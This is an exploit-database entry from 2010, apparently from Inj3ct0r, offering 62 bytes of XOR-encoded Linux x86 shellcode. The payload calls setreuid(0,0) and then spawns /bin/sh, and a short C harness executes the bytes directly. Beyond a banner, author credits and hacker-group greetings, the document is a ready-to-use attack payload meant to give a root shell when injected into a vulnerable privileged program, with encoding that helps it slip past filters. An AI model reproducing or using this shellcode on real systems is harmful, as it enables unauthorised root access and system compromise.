62 bytes small XOR encoded execve("/bin/sh",NULL,NULL) with setreuid (0,0) Linux / x86 shellcode.
c24ecf07e4515b1a264d5cf1314b1b3045b9f83a5d125b8d7a47d68a90ac034f
/*
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0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
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Title : XOR encoded execve execve("/bin/sh",NULL,NULL) with setreuid (0,0) linux shellcode .
Name : 62 bytes setreuid(0,0) execve("/bin/sh",NULL,NULL) XOR encoded linux shellcode .
Date : Mon Jul 5 16:58:50 WIT 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/
#include <stdio.h>
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x26\x80\x74\x0e\xff\x01"
"\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x30\xc1\x30\xda\x30\xc8\x30\xd3\xb1\x47\x30\xda"
"\x30\xc8\xcc\x81\xb1\x0a\x52\x69\x2e\x2e\x72\x69"
"\x69\x2e\x63\x68\x6f\x88\xe2\x30\xc8\x30\xc8\x52"
"\xcc\x81";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}